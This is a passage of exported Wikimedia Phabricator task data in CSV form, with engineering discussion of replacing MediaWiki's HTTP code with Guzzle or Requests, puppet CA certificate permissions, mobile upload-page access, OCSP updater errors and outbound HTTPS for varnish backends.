+At this point, I think I'll explore Guzzle for more sophisticated usages, and await comments from @Krinkle to decide if I should do the same for Requests.",,,1533833081,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,162,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+1119907,Move HTTP-related code from MW to its own library,">>! In T110022#4486858, @BPirkle wrote:
+> Localization questions aside, it seemed that in 2016 (on T139169), @Krinkle preferred Requests, while @Tgr preferred Guzzle.  Do each of you still feel the same
+
+Oops, I forgot to follow up there, did it now (god bless Phabricator drafts). I'm not familiar with Requests but at a glance Guzzle seems like a much more mature library.
+
+> and are there any additional possibilities that you've become aware of since then?
+
+The ones that are prominent enough to have a HTTPlug connector are [[https://github.com/zendframework/zend-http|Zend]], [[https://github.com/kriswallsmith/Buzz|Buzz]] and the [[https://book.cakephp.org/3.0/en/core-libraries/httpclient.html|Cake client]] (and [[https://github.com/reactphp/http-client|React]] and [[https://github.com/amphp/artax|Artax]] but looping clients are not really appropriate for us).",,,1533827811,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,162,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1
+1119887,Move HTTP-related code from MW to its own library,"FWIW, I'd maybe offer a soft poke in the direction of Guzzle, mostly because I find that having REST-y functionality integrated can be helpful.  But it's not something that I feel strongly about.",,,1533826285,,PHID-USER-jzttt2rzt4bpbzkerkod,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,162,True,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1118661,Move HTTP-related code from MW to its own library,"Localization questions aside, it seemed that in 2016 (on T139169), @Krinkle preferred Requests, while @Tgr preferred Guzzle.  Do each of you still feel the same, and are there any additional possibilities that you've become aware of since then?",,,1533681306,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,161,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+1117686,Move HTTP-related code from MW to its own library,"I wish we could map by exception class, but it seems challenging to do that in a useful way.  Looking at the two libraries that have been mentioned:
+
+Guzzle tends to throw generic exception classes.  The most popular appear to be:
+  - InvalidArgumentException (49 occurrences)
+  - LogicException (6 occurrences)
+  - RuntimeException (33 occurrences)
+
+Requests, on the other hand, pretty much only throws Requests_Exception (29 occurrences)
+
+In neither case would a message based on the exception class be helpful for diagnosing an issue.  The exception message is the interesting part, and also the hardest part to localize.
+
+Who would our intended audience be for localized exception messages?  They're probably incomprehensible to end users whether translated or not, and I'm assuming that developers speak sufficient English to read the untranslated messages (given that the code and its comments are in English).  So are localized exception messages intended for people who administer/configure mediawiki sites?  I'm wondering if they need to be translated at all.
+
+The other aspect is that what constitutes an ""exception"" to a library may be a different thing than what constitutes an exception to the calling code.  A socket timeout may constitute an exception to Requests, but I'm guessing that calling code would want to catch that and give a meaningful message in the context of whatever operation was being performed.
+
+I very much like the idea of having centralized, or at least consistent, ways of handling things.  But in this situation, I wonder if on a practical level we'll find that the fact that something is a ""library"" implies that its calling code must interpret exceptions on a case-by-case basis.",,,1533596353,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,161,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0
+1116801,Move HTTP-related code from MW to its own library,">>! In T110022#4478166, @Krinkle wrote:
+> We'd basically map the exception class to a localisation message somewhere, quite similar to what we already do for various exception types in various places. Perhaps we could centralise that a bit within MediaWiki :)
+
+The fundamental concept in MediaWiki's localization system (and in localization systems in general, I suppose) is the separation of message types and parameters. That's hard to do in a wrapper. To take a random example, Guzzle does this:
+```
+if (!file_exists($options['verify'])) {
+    throw new \InvalidArgumentException(
+        ""SSL CA bundle not found: {$options['verify']}""
+    );
+}
+```
+Mapping by class is not really useful. Mapping by message would involve regex parsing messages - possible but a bit icky (also fragile).",,,1533469614,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,161,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+1116442,Move HTTP-related code from MW to its own library,"A wrapper would be straight-forward indeed, but another idea to consider could be to handle localisation at a higher layer that catches the exception, and responsible for printing it in some way. That approach might be easier to scale to other libraries we use, including those used indirectly by other libraries that we don't control.
+
+We'd basically map the exception class to a localisation message somewhere, quite similar to what we already do for various exception types in various places. Perhaps we could centralise that a bit within MediaWiki :)
+",,,1533350971,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,161,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+1116115,Move HTTP-related code from MW to its own library,"If we do care about localization, there's also the possibility of wrapping an external library in custom code that does support localization.  Current http-* entries in en.json are fairly generic and could continue to be so.  The external library would handle the details of the actual request, including the fallback from curl to php streams as necessary.  In that model, MWHttpRequest and MultiHttpClient continue to exist, but much simplified compared to their current implementations.  From my brief read, Wordpress used that approach.",,,1533311612,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,161,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1115285,Move HTTP-related code from MW to its own library,"Usually the main limitation of external libraries is that they don't support localization (of error messages, mainly). Not sure if we actually care about that in the case of not particularly user-facing libraries, or just took advantage of it because it was free...",,,1533229684,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,161,True,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+1115224,Move HTTP-related code from MW to its own library,"This task has been around for awhile, and related discussion and action has since occurred elsewhere.  To summarize from this task and from T139169, T137926, and T139170:
+
+- we would like to make curl optional (with a suitable warning)
+
+- we made MultiHttpClient work without curl in T139169, but at the cost of introducing an undesirable dependency on MWHttpRequest, which is currently not within includes/libs.  So in solving one issue, we created another.
+
+- we should either use an external library, or create our own.  Options presented were: 
+— Requests (https://packagist.org/packages/rmccue/requests), used by WordPress
+— Guzzle (http://docs.guzzlephp.org), originally required curl but now has a fallback to PHP streams
+— librarize our existing code (per this tasks description) . Requires librarizing some dependencies (StatusValue, etc.)
+
+Here’s an article about when Wordpress switched to Requests: https://make.wordpress.org/core/2016/07/27/http-api-in-4-6/  Scroll down to the comments for some (admittedly dated) discussion of Requests vs Guzzle from their perspective.
+
+I support pursuing using an external library, as there seem to be (at least) two suitable existing options.  MultiHttpClient might be a good place to start, as it is currently breaking our rules.  I'm happy to create a task for that and take it on, but before I get started I'm curious if the summary I just wrote above still accurately reflects our larger goals, and if there are additional thoughts I should consider.",,,1533225489,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,161,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+1042688,Move HTTP-related code from MW to its own library,">>! In T110022#4095918, @Dereckson wrote:
+> @Addshore The https://github.com/addwiki/mediawiki-api-base/issues/5 link has expired
+
+Removed from the description.
+The tasks were moved to phab, but I cant remember which one #5 was...",,,1522671130,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,143,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1
+1042447,Move HTTP-related code from MW to its own library,@Addshore The https://github.com/addwiki/mediawiki-api-base/issues/5 link has expired,,,1522592968,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,143,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1
+900975,Move HTTP-related code from MW to its own library,"Per <https://gerrit.wikimedia.org/r/#/c/356121/>, a good starting point would be to move the (new) `HttpAcceptNegotiator` and `HttpAcceptParser` classes to a Packagist-published PHP library.
+
+We can later consider moving other classes to it as well (such as `Http::request`, `MWHttpRequest`, and `MultiHttpClient`).",,,1501009178,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,107,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+754797,Move HTTP-related code from MW to its own library,"I poked at librarizing `includes/http` recently - the dependencies are CookieJar, Status[Value] and at-ease. So StatusValue would have to be librarized first. Also the current interface is rather ugly.",,,1478131779,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,70,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+732117,Move HTTP-related code from MW to its own library,"I made the subject a little more generic as we probably want to library-ize MultiHttpClient too. However, that is blocked on {T139169}.",,,1474438078,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,63,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+520489,Move HTTP-related code from MW to its own library,"Not really tracked on phab, see https://github.com/addwiki/mediawiki-api-base/issues/5",,,1441306127,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+518325,Move HTTP-related code from MW to its own library,Can you please connect this to a story or epic?,,,1441108073,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+110020,Make puppet ca certificate world readable,"So to make https requests to etcd, you need access to the puppet ca client certificate, since that's the https certificate being used. However, since that is owned by root, this means you need to be root to make https calls to etcd. This should be relaxed to allow everyone to make calls to etcd...",Medium,50.0,1440412099,1480557427.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-zu62eblucplk4iboslly,task_description,declined,True,c3,3,True,False,False,7,True,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+769881,Make puppet ca certificate world readable,I'm fairly sure we add the puppet CA to `/etc/ssl/certs` so it should be available already system-wide.,,,1480557427,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,74,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+522481,Make puppet ca certificate world readable,"Assigning it to yourself until a service owner can help you, so you do not forget.",,,1441706042,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+513394,Make puppet ca certificate world readable,"However, there's no private info in labs puppet, so we can safely turn it on for labs.",,,1440420778,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+513389,Make puppet ca certificate world readable,@Krenair just pointed out that this could possibly give anyone with shell access access to private puppet info.,,,1440420342,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,7,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+513346,Make puppet ca certificate world readable,I am also not sure if I am using the right terminology here. /nick TLSn00b,,,1440414470,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+109894,Viewing Special:Uploads requires login on mobile web,"E.g. https://en.m.wikipedia.org/wiki/Special:Uploads/Jimbo_Wales : ""Please log in to view the uploads page."" There is no reason to require login for this, and I understand from @Jdlrobson that this behavior isn't intentional. Probably comes from https://en.m.wikipedia.org/wiki/Special:Uploads , which shows the user's own uploads and hence needs them to be logged in.",Medium,50.0,1440187992,1449606546.0,PHID-USER-wlku5ja6envbi4cz2etp,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-rzklfvcnhpan2hn2dqly,task_description,resolved,True,c3,3,True,False,False,7,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0
+575095,Viewing Special:Uploads requires login on mobile web,"Change 257588 merged by jenkins-bot:
+MobileFrontend allow anons to see per user uploads
+
+[[https://gerrit.wikimedia.org/r/257588]]",,,1449604031,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rzklfvcnhpan2hn2dqly,task_subcomment,,True,c3,3,False,,,22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+574818,Viewing Special:Uploads requires login on mobile web,"Change 257588 had a related patch set uploaded (by Sumit):
+MobileFrontend allow anons to see per user uploads
+
+[[https://gerrit.wikimedia.org/r/257588]]
+",,,1449580351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rzklfvcnhpan2hn2dqly,task_subcomment,,True,c3,3,False,,,22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+512595,Viewing Special:Uploads requires login on mobile web,"Could whoever looks at this bug look at the results of https://phabricator.wikimedia.org/T66636 and see if we can kill foreign api in the process?
+",,,1440191699,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rzklfvcnhpan2hn2dqly,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+109737,"ocsp updater: handle openssl ""trylater"" and similar more-gracefully","When the ocsp updater script runs into certain openssl error-responses, it's confused as to what exactly the problem is and doesn't fail until a much later step.  OpenSSL is partly to blame here for returning exit status zero in these cases (IMHO), but either way we should deal with these cases properly and error out immediately instead of proceeding with further validation checks that are destined to fail.",Medium,50.0,1440090479,1440117166.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-a7mss4tywb4mpegtivkg,task_description,resolved,True,c3,3,True,True,True,7,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+512103,"ocsp updater: handle openssl ""trylater"" and similar more-gracefully","Change 232873 merged by BBlack:
+update-ocsp: refactor validation, check cert life
+
+[[https://gerrit.wikimedia.org/r/232873]]",,,1440116122,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a7mss4tywb4mpegtivkg,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+512100,"ocsp updater: handle openssl ""trylater"" and similar more-gracefully","Change 232873 had a related patch set uploaded (by BBlack):
+update-ocsp: refactor validation, check cert life
+
+[[https://gerrit.wikimedia.org/r/232873]]
+",,,1440115452,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a7mss4tywb4mpegtivkg,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+109325,Outbound HTTPS for varnish backend instances,"We need the ability for varnish backends to make outbound HTTPS connections in at least two scenarios:
+
+1) For tier-1 cross-DC applayer traffic (e.g. cp2001.codfw.wmnet -> appservers.svc.eqiad.wmnet) - we don't have any known other solution to secure this traffic on inter-DC links at this time.
+2) For inter-tier varnish-be->varnish-be traffic: IPSec is currently protecting this, but HTTPS has the potential to be operationally-better and make the current IPSec deployment less-critical, or open us to ditching the current host-based IPSec and waiting on tunnels of some kind.
+
+Known options for making this happen:
+1) Deploy an stunnel configuration locally on the varnish machines.
+  - The idea here would be to deploy stunnel with a separately-configured tunnel instance for each defined varnish backend.
+  - Instead of simply backending to appservers.svc.eqiad.wmnet:80 today, it would backend to localhost:12345 (unique port assignment), which is an stunnel configured to connect to appservers.svc.eqiad.wmnet:443.
+  - There could be other alternatives similar to stunnel, but stunnel looks like a legit/default option here.
+  - Significant Con: Yet another piece of software in the request flow for reliability/debugging woes.
+2) Patch varnish3 ourselves for outbound HTTPS
+  - Possibly using Amazon's s2n library, as it could be much simpler than using OpenSSL directly.
+  - Would deepen the amount of source-level customization we're doing with Varnish3 today, which is already a long-term problem for maintainability and tech debt.
+  - Patch would probably be significantly difficult.  This is not lightweight patchwork.  There are risks we could make varnish less stable, make a security-affecting mistake in the code, and/or make it much more difficult to continue merging in upstream 3.0.x fixes.
+3) Upgrade to Varnish4, and then create our own custom director module for outbound HTTPS
+  - Varnish4 does this already in the commercial Plus variant, but not open source.  We could do the same, as open source.
+  - It's sad to redundantly re-do the upstream closed-source work here, but as a module in varnish4 it would be significantly cleaner than hacking it into varnish3.
+  - Depends on Varnish4 upgrade, which is significantly difficult and off in the Future for now, and may not ever happen if we find an alternative first.
+4) Upgrade to something non-Varnish that supports outbound TLS out of the box:
+  - e.g. ATS: T96853
+  - As with the above, this is neither near-term nor easy",Medium,50.0,1439827808,1600879119.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-egswbkdsn7nr7tqgwi5k,task_description,invalid,True,c3,3,True,True,False,6,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+1586726,Outbound HTTPS for varnish backend instances,There is no more varnish-be,,,1600879119,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-egswbkdsn7nr7tqgwi5k,task_subcomment,,True,c3,3,True,,,272,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+618515,Outbound HTTPS for varnish backend instances,"Updates from the passage of time:
+
+Varnish4 is happening and is a realistic blocker (for lots of things) these days, so we're almost certainly looking at something like option 3 (vmod for varnish4) at this point, whenever we can get back around to this.",,,1456488303,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-egswbkdsn7nr7tqgwi5k,task_subcomment,,True,c3,3,True,,,34,True,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+522730,Outbound HTTPS for varnish backend instances,"Updates on some exploration of option (2) above (actually looking at the varnish code and the APIs we'd be using in detail):
+* s2n - nice API, would be the simplest/cleanest option - not ready for us to use yet (client-side, client cert, cert-checking in general, configurability...)
+* GnuTLS - better than OpenSSL as an API choice, but like OpenSSL would be a significant chunk of work and code to review
+* OpenSSL - nice in that we have to maintain/care about fewer crypto libs, since we already use this for nginx.  Slightly worse than the above for clean implementation...
+
